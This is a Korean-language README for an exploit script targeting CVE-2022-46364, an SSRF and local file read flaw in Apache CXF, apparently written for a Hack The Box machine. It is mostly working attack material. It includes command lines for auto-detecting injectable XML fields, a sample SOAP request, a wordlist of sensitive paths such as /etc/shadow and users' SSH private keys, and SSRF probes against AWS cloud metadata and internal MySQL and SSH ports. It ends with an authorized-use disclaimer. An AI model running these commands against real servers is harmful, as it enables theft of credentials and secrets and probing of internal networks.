
CVE-2022-46364 Apache CXF XOP:Include SSRF / LFI
저자: 0xmid00
취약점: MTOM 요청 내 XOP:Include를 통한 SSRF / 로컬 파일 읽기
영향받는 버전: Apache CXF < 3.5.5 및 < 3.4.10
Apache CXF는 XOP:Include 요소를 포함하는 MTOM(Message Transmission Optimization Mechanism) 메시지를 처리합니다. XOP:Include의 href 속성은 동일한 MTOM 멀티파트 메시지 내의 첨부 파일을 참조해야 합니다. 그러나 취약한 버전에서는 CXF가 href에 제공된 모든 URI를 따라가며, 여기에는 다음이 포함됩니다:
file:///etc/passwd → 로컬 파일 읽기 (LFI)http://127.0.0.1:PORT/ → 내부 서비스 프로브 (SSRF)공격자는 이를 트리거하기 위해 **최소 하나의 매개변수(모든 유형)**가 포함된 SOAP 요청을 보내기만 하면 됩니다.
pip install requests
python3 exploit.py -r request.txt [options]
원시 HTTP 요청을 캡처된 그대로 .txt 파일로 저장하세요 (예: Burp에서):
POST /employeeservice HTTP/1.1
Host: devarea.htb:8080
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
Connection: close
Content-Length: 487
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:tns="http://devarea.htb/">
<soapenv:Body>
<tns:submitReport>
<arg0>
<confidential>false</confidential>
<content>test</content>
<department>IT</department>
<employeeName>john</employeeName>
</arg0>
</tns:submitReport>
</soapenv:Body>
</soapenv:Envelope>
익스플로잇이 자동으로 MTOM 형식으로 변환합니다 — 수동으로 할 필요가 없습니다.
python3 exploit.py -r request.txt --mode 1
모든 리프 XML 요소에 file:///etc/passwd를 삽입하고 파일 내용을 반환하는 요소를 보고합니다.
python3 exploit.py -r request.txt --mode 1 --field content
python3 exploit.py -r request.txt --mode 2 --wordlist lfi.txt
먼저 모드 1을 실행하여 삽입 가능한 필드를 찾은 다음, 해당 필드를 통해 워드리스트의 모든 경로를 퍼징합니다.
python3 exploit.py -r request.txt --mode 2 --field content --wordlist lfi.txt
필드 탐지를 건너뛰고 바로 퍼징을 수행합니다.
python3 exploit.py -r request.txt --field content --read /home/dev_ryan/.ssh/id_rsa
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/proc/self/environ
/proc/self/cmdline
/home/dev_ryan/.ssh/id_rsa
/home/dev_ryan/.bash_history
/home/dev_ryan/.bashrc
/root/.ssh/id_rsa
/root/.bash_history
/var/log/auth.log
/var/log/syslog
또한 SecLists를 사용할 수 있습니다:
/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
<xop:Include href="file:///..."/>로 대체합니다.파일을 읽는 대신 내부 HTTP 서비스를 프로브하려면:
python3 exploit.py -r request.txt --field content --read http://127.0.0.1:8080/
또는 --read 값을 내부 URL로 수정하세요:
--read http://169.254.169.254/latest/meta-data/ (AWS 메타데이터)
--read http://127.0.0.1:3306/ (MySQL)
--read http://127.0.0.1:22/ (SSH 배너)
이 도구는 승인된 침투 테스트 및 CTF 챌린지 전용입니다. 저자는 오용에 대해 책임을 지지 않습니다.
| 인수 | 설명 |
|---|
-r, --request | 원시 HTTP 요청 파일 경로 (필수) |
--mode 1 | /etc/passwd를 사용하여 삽입 가능한 XML 필드 자동 탐지 |
--mode 2 | 파일 경로 워드리스트 퍼징 |
--field NAME | 삽입할 XML 필드 지정 (자동 탐지 건너뜀) |
--wordlist PATH | Mode 2용 파일 워드리스트 경로 |
--read PATH | 단일 특정 파일 읽기 |
-v, --verbose | 상세 요청 정보 표시 |